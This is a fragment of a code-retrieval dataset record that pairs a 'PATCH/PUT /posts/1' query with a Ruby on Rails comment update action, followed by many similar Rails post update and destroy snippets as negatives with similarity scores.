"0.7012768",
"0.69840264",
"0.6938563",
"0.69309723",
"0.6905106",
"0.68197066",
"0.68119097",
"0.67928475",
"0.6792773",
"0.67785394",
"0.67785394",
"0.6762736",
"0.6759516",
"0.67510056",
"0.67350024",
"0.66986823",
"0.6694242",
"0.6679357",
"0.66507727",
"0.661762",
"0.6607913",
"0.6576586",
"0.6566928",
"0.6534542",
"0.65245205",
"0.6516953",
"0.65119916",
"0.65119916",
"0.6498843",
"0.648704",
"0.648219",
"0.647903",
"0.6478571",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.6451724",
"0.6443117",
"0.6440887",
"0.6438761",
"0.64304584",
"0.6413615",
"0.6401683",
"0.6401094",
"0.63966864",
"0.63951707",
"0.6387734",
"0.6387734",
"0.63795847",
"0.6375628",
"0.6373732",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6369107",
"0.63611555",
"0.6351466",
"0.6348891",
"0.6344897",
"0.6312749",
"0.6307845",
"0.63030463",
"0.6300117",
"0.6297244",
"0.62969273",
"0.6294826",
"0.6294681",
"0.6294436",
"0.6288339",
"0.6287679",
"0.62829244",
"0.62818336",
"0.626294"
] | 0.0 | -1 |
PATCH/PUT /posts/1 PATCH/PUT /posts/1.json | def update
if @comment.update(comment_params)
render json: @comment, status: :ok
else
render json: @comment.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def update\n respond_with Post.update(params[:id], params[:posts])\n end",
"def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.update(params[:id], params[:post])\n end",
"def update\n respond_with post.update(params[:id], params[:post])\n end",
"def update\n respond_with Post.update(params[:id],post_params)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update({\n title: post_params[:title],\n content: post_params[:content],\n })\n render json: Post.all.as_json\n else\n render json: {errors: @post.errors.full_messages}, status: :unprocessable_entity\n end\n end",
"def update\n id = Post.find(params[:id])._id\n \n respond_to do |format|\n if ((@post.update_attributes(params[:post])) && (@post._id = id))\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n @post.update_attributes(params[:post])\n format.html { redirect_to posts_url, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n end \n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @api_v1_post.update(api_v1_post_params)\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_post }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to posts_path, notice: 'Post was successfully updated.' }\n format.json { render json: @post }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n authenticated\n\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @api_post = Api::Post.find(params[:id])\n\n if @api_post.update(api_post_params)\n head :no_content\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @post.update(post_params)\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n if @api_v2_post.update_attributes(params[:api_v2_post])\n format.html { redirect_to @api_v2_post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v2_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @post\n\n if @post.save\n render json: @post\n else\n render json: @post.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@post = post.find(params[:id])\n\t\t@post.update_attributes(post_params)\n\t\trespond_to do |format|\n\t\t\tformat.html {redirect_to post_path(@post)}\n\t\t\tformat.json {render json: @post}\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.json { render :show, status: :ok, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n @title = \"EDIT\"\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\tif @post.update(post_params)\n\t\t\trender json: @post, status: :success\n\t\telse\n\t\t\trender json: @post.errors, status: :unprocessable_entity #422\n\t\tend\n\tend",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'slam updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @post.update_attributes(params[:post])\n respond_with(@post)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: '' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n title = params[:title]\n body = params[:body]\n\n @post.update!(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def update\r\n @post = Post.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @post.update_attributes(params[:post])\r\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @user = current_user\n @post = @user.posts.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to :action => 'index', notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if (@post.update(params.permit(:title, :content)))\n render json: @post, status: :ok\n else\n render json: @post.errors, status: 422\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to post_path, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n #disable edit for now\n redirect_to posts_path\n return\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to magazine_post_path(@post.short_url), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"editor\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n render action: \"show.json.jbuilder\"\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to post_path(@post), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\t\n\t\tpost = @current_user.role == \"admin\" ? Post.find_by(id: params[:id]) : @current_user.posts.find_by(id: params[:id]) \n\t\tif post && post.update_attributes(post_params)\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id, post_desc: post.description}\n\t else\n\t render json: {success: false, message: \"not found or validation failed\"}, status: 422\n\t\tend \n\tend",
"def update\n post = Post.find_by(id: params[:id])\n # byebug\n\n post.assign_attributes(update_params)\n if post.valid?\n post.save\n render json: post, status: :created\n else\n render json: {errors: post.errors.full_messages}, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find_by_slug(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # if @post.update_attributes(params[:post])\n # format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n # format.json { head :no_content }\n #else\n # format.html { render action: \"edit\" }\n # format.json { render json: @post.errors, status: :unprocessable_entity }\n #end\n #end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n #this works largely the same, \n @post = Post.find(params[:id])\n @post.created_at = params[:created_at] if !!params[:created_at]\n if @post.update_attributes(params[:post])\n render \"show\", handlers: [:rabl]\n else\n render :json => @post.errors.full_messages, status: 422\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to \"/#{session[:username]}\", notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update?(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n delete_caches\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n update_resource_response(@post, blog_post_params)\n end",
"def update\n \n @previous_content = @post[:content]\n respond_to do |format|\n if @post.update_attributes(params[:post])\n \t\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n \n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n verify_owner_or_admin(@post)\n \n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: \"Post was successfully updated.\" }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @update = Update.find(params[:id])\n @post = @update.post\n\n respond_to do |format|\n if @update.update_attributes(params[:update])\n format.html { redirect_to @post, notice: 'Update was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n render json: {status: 1, id: @post.id.to_s, notice: \"修改成功,标题是:#{@post.title.capitalize}\", errors: []}\n else\n render json: {status: -1, notice: \"修改失败\", errors: @post.errors.fall_message}\n end\n end",
"def update\n params[:post][:tag_ids] ||= []\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to [@post.user, @post], notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @post = Post.find(params[:id])\r\n @root_post = root_post_of(@post)\r\n\r\n respond_to do |format|\r\n if @post.update_attributes(params[:post])\r\n @root_post.touch(:updated_at)\r\n update_child_posts(@post)\r\n\r\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @post.short_body = post_params[:body].split('</p>')[0] + '</p>'\n @post.tags.delete_all\n set_tags\n\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render_forbidden and return unless can_edit?\n @post = Post.friendly.find(params[:id])\n \n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n redirect_to root_path\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.71867543",
"0.7042899",
"0.6774105",
"0.67672604",
"0.6669961",
"0.6649129",
"0.657972",
"0.6556958",
"0.6551495",
"0.6549005",
"0.6535034",
"0.6531995",
"0.6497553",
"0.64958835",
"0.6468818",
"0.64319825",
"0.6428907",
"0.64275557",
"0.64273673",
"0.64193714",
"0.64193666",
"0.6413534",
"0.6401499",
"0.6401499",
"0.63909745",
"0.63825583",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.63711846",
"0.6371097",
"0.63611764",
"0.6360867",
"0.63598454",
"0.63573265",
"0.63573265",
"0.63573265",
"0.63573265",
"0.6348769",
"0.6339638",
"0.63390875",
"0.633172",
"0.63293755",
"0.63204026",
"0.63095254",
"0.62960684",
"0.6289831",
"0.62780434",
"0.6271677",
"0.62716043",
"0.6271454",
"0.6261652",
"0.62530375",
"0.62426263",
"0.6228117",
"0.621697",
"0.6215017",
"0.6206318",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.6204175",
"0.62031627",
"0.61977786",
"0.61819714",
"0.61774534",
"0.61740726",
"0.6168681",
"0.6159861",
"0.61563087",
"0.61456937",
"0.61456937",
"0.614226",
"0.6122881",
"0.6116053",
"0.61133987",
"0.6110099",
"0.6107206",
"0.6105214",
"0.60997695",
"0.60986936",
"0.6094729",
"0.60945"
] | 0.0 | -1 |
DELETE /posts/1 DELETE /posts/1.json | def destroy
@comment.destroy
render json: @comment, status: :ok
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: params[:id]}}, status: :ok\n end\n end",
"def destroy\n @post.destroy\n render json: {}, status: :ok\n end",
"def destroy\n if @post.destroy\n render json: {\n post: @post\n }, status: :ok\n else\n render status: :bad_request\n end\n end",
"def destroy\n @api_v2_post = Post.find(params[:id])\n @api_v2_post.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v2_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_post.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_posts_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticated\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @post = Post.find(params[:id])\n # @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n\n json_response(@post)\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
